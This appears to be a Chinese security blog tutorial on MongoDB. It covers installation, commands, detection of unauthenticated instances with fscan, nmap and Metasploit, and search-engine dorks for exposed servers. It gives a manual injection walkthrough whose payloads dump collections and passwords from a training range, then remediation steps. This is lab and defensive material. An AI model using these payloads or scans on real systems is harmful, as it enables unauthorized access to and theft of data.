前言
本篇文章记录了mongo数据库的一次漏洞复现,从安装到漏洞复习,然后是实操mongo数据库的SQL手工注入,未授权和SQL注入危害还是蛮大的,由于mongo数据库安全性较高,使用数量极高,所以学习mongo数据库的安全知识还是很有必要的。文章有不对的地方欢迎各位师傅指出~
简介
MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
sqlmap不支持这个json格式的
数据库注入,但还有其他工具可以,后面介绍嗷
MongoDB的一些主要特性:
基于文档
高性能
高可用性
简单的可扩展性
没有复杂的联接
数据格式
{
name: "ch4nge",
age: "10",
status: "A",
groups: ["news", "sports"]
}
默认端口27017、27018、27019、28017
一、安装
1 下载
4.4.10版本
https://www.mongodb.com/try/download/community
zip和msi选择区别
1. msi安装的时候,一路下一步,方便快捷,只建议MongoDB4.0及以上版本采用msi方式安装,因为MongoDB4.x版本对msi安装方式进行了优化,随着提示就可以完成配置,但3.x和更低的版本则仍旧需要在安装完毕后,手动做配置,所以低版本不推荐msi方式。
2.zip方式,解压即安装,可以将其安装到任意目录,后续都可以手动进行配置,比较灵活,推荐采用这种方式进行安装。
2 windows安装
双击开始安装
选择自定义Custom安装选项
我这里设置安装路径为C盘根目录
默认下一步即可
勾选的话会安装一个mongodb管理工具,安装速度慢好多,也可以不勾选,后面需要的话再去下载安装
https://www.mongodb.com/try/download/compass
让子弹飞一会
安装完成
图形化管理工具
MongoDBCompass
连接本地数据库
查看数据库
3 windows配置环境
(1)添加环境变量
C:MongoDBbin
测试是否配置成功,在cmd下直接输入mongo -version即可判断
(2)修改配置文件
配置允许远程连接mongodb,bindip设置为0.0.0.0,重启mongo服务生效
windows:mongod.cfg
linux:mongod.conf
注意注意:千万不要多写空格少写空格啥的,不然报错。比如我把bindIp冒号后面的空格去掉
(3)将mongodb服务添加到windows服务
如果你的服务列表没有这个的话按照此步骤添加,我是用msi文件安装的,服务里面已经有了
这一步的目的是将来在终端中通过net来管理MongoDB。
以管理员的身份打开终端,输入
mongod --config "C:MongoDBbinmongod.cfg" --install --serviceName "mongodb"
查看服务属性
服务启动关闭的命令
net stop mongodb
net start mongodb
远程连接测试
超级弱口令扫它(记得关掉你的windows防火墙嗷)
4 kali2021.2安装mongo
(1)导入mongoDB密钥
wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
如果收到指示gnupg未安装的错误,则安装gnupg
sudo apt-get install gnupg
安装完成后重新导入密钥
(2)创建文件
echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list
(3)更新软件列表
下载速度慢的话可以换国内apt源,怎么换不说了,百度一堆
sudo apt-get update
(4)安装mongoDB
sudo apt-get install -y mongodb-org
(5)mongoDB配置
```shell
启动MongoDB服务systemctl start mongod# 查看服务状态systemctl status mongod# 停止MongoDB服务systemctl stop mongod# 重启MongoDB服务systemctl restart mongod
```
设置允许远程连接mongoDB
shell
sudo vi /etc/mongod.conf# 修改bindIP为0.0.0.0bindIp: 0.0.0.0
设置之后需要重启mongodb服务
systemctl restart mongod
5 Kali卸载mongo
我还要用,先不卸载了
```shell
删除软件包sudo apt-get purge mongodb-org*# 可以通过下面命令来查看这些软件包文件,也可以检测是否删除完成locate monodb-org# 删除数据目录sudo rm -r /var/log/mongodbsudo rm -r /var/lib/mongodb
```
二、MongoDB常用命令操作
1 进入MongoDB命令行交互模式
widows
配置环境变量之后在命令行输入mongo
linux(kali)安装后自动配了环境变量,直接输mongo就可进入
由于自带交互式Javascript shell
,可以直接在Mongo shell里进行一些简单的计算操作。
MongoDB可以有多个数据库每个数据库都含有一个或多个集合“collections”每个集合都含有一个或多个文档“documents”
2 新增用户用来远程登录
db.createUser({user:"ch4nge",pwd:"123456",roles:[{"role":"userAdmin","db":"admin"},{"role":"root","db":"admin"},{"role":"userAdminAnyDatabase","db":"admin"}]})
对用户ch4nge授权
db.auth("ch4nge","123456")
修改用户权限
db.updateUser("root", {roles:[{role:"readWriteAnyDatabase", db:"admin"}] })
修改用户密码
db.changeUserPassword(“username","newPasswd")
删除用户
db.changeUserPassword(“username","newPasswd")
3 远程登录
```shell
未授权mongo 10.11.2.222:27017/admin# 有授权mongo -u ch4nge -p 123456 localhost:27017/adminmongo --host 192.168.112.177 --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"或者mongo -u mgtest -p 123.com localhost:27017/admin
```
4 库信息增删改查
```json
// 创建数据库
use ch4nge
// 查看当前数据库
db
//或者
db.getName();
// 检查数据库列表
show dbs
// 将数据插入集合
//这个是把一个数据插入到data集合中。
db.data.insert({"user":"test1"})
// 查询数据
//查询data集合中的全部文档数据。
db.data.find()
// 查询数据时写入条件
//查询用户名user为test1的数据
db.data.find({"user":"test1"})
// 删除数据
//remove()方法
db.data.remove({"user":"test1"})
// 删除集合
//drop()方法,这会删除所有的表数据,存在一个data集合,再查一下data集合,已经没了
db.data.drop()
// 删除目前使用的数据库
db.dropDatabase()
//查看当前数据库状态
db.stats();
//当前db版本
db.version();
//查看当前db的链接机器地址
db.getMongo();
//显示当前所有用户
db.system.users.find();
```
三、MongoDB连接管理工具
1 MongoDB Compass
下载地址
https://www.mongodb.com/download-center/compass
下载msi文件默认安装即可
2 navicat
这个要付费,可以试用14天,最好网上自己找pj版本吧
https://www.navicat.com.cn/download/navicat-premium
3 Robo 3T
下载地址
https://robomongo.org/download
安装,双击默认就会好
连接数据库
四、漏洞复现-未授权访问
1 漏洞原理
MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0(bindIp: 0.0.0.0),则可远程未授权访问数据库。
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth
参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用--auth
参数启动后,无账号则本地和远程均无任何数据库访问权限。
2 漏洞探测-fscan扫描
自带小字典可探测数据库弱口令、未授权、web服务等,功能强大,常用于内网,这里来用也好使
可指定ip范围,一次指定多个ip地址,用于批量探测
https://github.com/shadow1ng/fscan
命令
fscan.exe -h 10.0.1.6 -p 21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017
3 漏洞探测-超级弱口令
可批量扫描ip
4 漏洞探测-nmap
nmap -p 27017 --script mongodb-info <ip>
5 漏洞探测-msf扫描
先搜索一下模块
search mongodb
使用
auxiliary/scanner/mongodb/mongodb_login
use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS 10.0.1.6
run
可以指定ip的文件,批量检测
五、漏洞复现-SQL注入
1 漏洞原理
2 靶场环境
墨者学院SQL手工注入漏洞测试(MongoDB数据库)
https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe
说明
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
附上源代码截图:
3 访问靶场
http://219.153.49.228:48076/
点击通告,进入新页面
漏洞点在于id
4 注入参数检测
单引号显示空
源代码中
php
$query="var data = db.notice.findOne({'id' : '$id'}); return data;";
查询的sql语句是
json
db.notice.findOne({'id' : '$id'});
我们尝试闭合查询
json
?id=1'}); return({title:'1
//代入结果如下,返回1,data内容就是1
db.notice.findOne({'id' : '1'}); return({title:'1'});
//query最后返回data,所以网页显示内容应该是1
5 查数据库
json
?id=1'}); return ({title:tojson(db),content:'1
// 加content:'1是为了闭合后面的'});
db.notice.findOne({'id' : '1'}); return ({title:tojson(db),content:'1'});
6 查表
php
?id=1'}); return({title:db.getCollectionNames(),content:'1
因为db.getCollectionNames()返回结果是arry数组,需要将数组转换为字符串,得到表名
php
?id=1'}); return({title:tojson(db.getCollectionNames()),content:'1
7 查数据
php
?id=1'}); return({title:tojson(db.Authority_confidential.find()[0]),content:'1
8 获取KEY
上面查出来的密码md5解密结果是
dsansda
登陆后台获得key
php
http://219.153.49.228:48076/
mozhe/dsansda
现在登不上了
题目应该没问题,查其他的表数据发现还有一个密码,原来还给了一个假表!!!
?id=1'}); return({title:tojson(db.Authority_confidential.find()[0]),content:'1
解出来密码是918731,登录成功
提交以解决实验
六、NoSQLMap工具介绍
mongodb有一个跑注入的工具NOSQLMAP
(1)安装
shell
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
(2)启动
python nosqlmap.py
1 设置选项
2 NoSQL数据库访问攻击
3 NoSQL Web应用程序攻击
4 扫描匿名MongoDB访问
5 Change平台(目前:MongoDB) x-Exit
七、搜索引擎查找
shodan&&fofa
product:"MongoDB"
zoomeye
service:"mongodb"
八、未授权修复
服务仅对本地开放
1 设置配置文件
绑定在本地端口
```shell
vi /etc/mongod.conf
bindIp = 127.0.0.1
重启服务生效
systemctl restart mongod
```
限制访问源ip
仅对内网服务器开放mongodb服务。Linux防火墙设置如下,windos同理
```shell
允许外部应用访问MongoDB默认服务端口27017
iptables -A INPUT -s
允许MongoDB外出流量到达外部应用
iptables -A OUTPUT -d
```
启动登录认证功能。
此方式在windows进行演示操作,Linux一样可以
MonaoDB 3.0及以上版本启动时添加--auth参数开启认证访问,此时若数据库中无用户,本地登录则无权限进行任何操作,因此需要先以无认证的方式启动服务并创建系统用户管理员账号。
1 以无访问认证的方式启动MongoDB
路径一定要存在
shell
mongod --dbpath C:WindowsTemptest
2 未开启认证的环境下,登录到数据库
mongo 127.0.0.1:27017/admin
3 创建系统用户管理员
创建一个用户名字为myUserAdmin,密码为Passw0rd的系统用户管理员账号。
注意:3.0之前版本使用db.addUser方法创建用户。
```json
//切换到admin数据库
use admin
//创建用户
db.createUser({user: "myUserAdmin",pwd: "Passw0rd",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})
//创建成功后提示
db.createUser({user: "myUserAdmin",pwd: "Passw0rd",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})
Successfully added user: {
"user" : "myUserAdmin",
"roles" : [
{
"role" : "userAdminAnyDatabase",
"db" : "admin"
}
]
}
```
4 开启认证模式
在配置文件中添加以下内容
注意:第一行顶格写,第二行前面两个空格
security:
authorization: enabled
5 重启服务生效
shell
net stop mongodb
net start mongodb
6 连接时认证
开启访问认证启动时添加--auth参数,使用系统用户管理员账号登录
shell
mongo 127.0.0.1:27017/admin -u "myUserAdmin" -p "Passw0rd"
7 先连接后认证
在连接MongoDB时不指定认证信息,连接成功后通过db.auth()方法进行认证:l
shell
mongo 127.0.0.1:27017/admin
db.auth("myUserAdmin","Passw0rd")
总结
新版的mongoDB数据库还没有爆出RCE或者getshell的漏洞,相对是安全很多的,再加上sql注入自动化工具很少,后端设置严格的过滤条件还是很难手注的。复现整个流程下来并不难,撸起袖子加油干!
参考
MongoDB数据库评估https://doge-dog.github.io/2017/12/18/mongodb-attack-detail/
未授权访问https://www.yuque.com/cheng-4ueio/tow7i5/cgwuq7
未授权漏洞修复https://cloud.tencent.com/developer/article/1727227
脚本批量探测未授权https://www.zhihuifly.com/t/topic/3031
前言 本篇文章记录了redis的相当全面的一次漏洞复现大复盘,从安装到拿shell,最后还有ssrf+本地主从复制的组合拳,来学这波绝对不亏。 一、简介 最大的特点就是 :快 1 端口 Redis默认端口:6379 sentinel.conf配置器端口为263…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论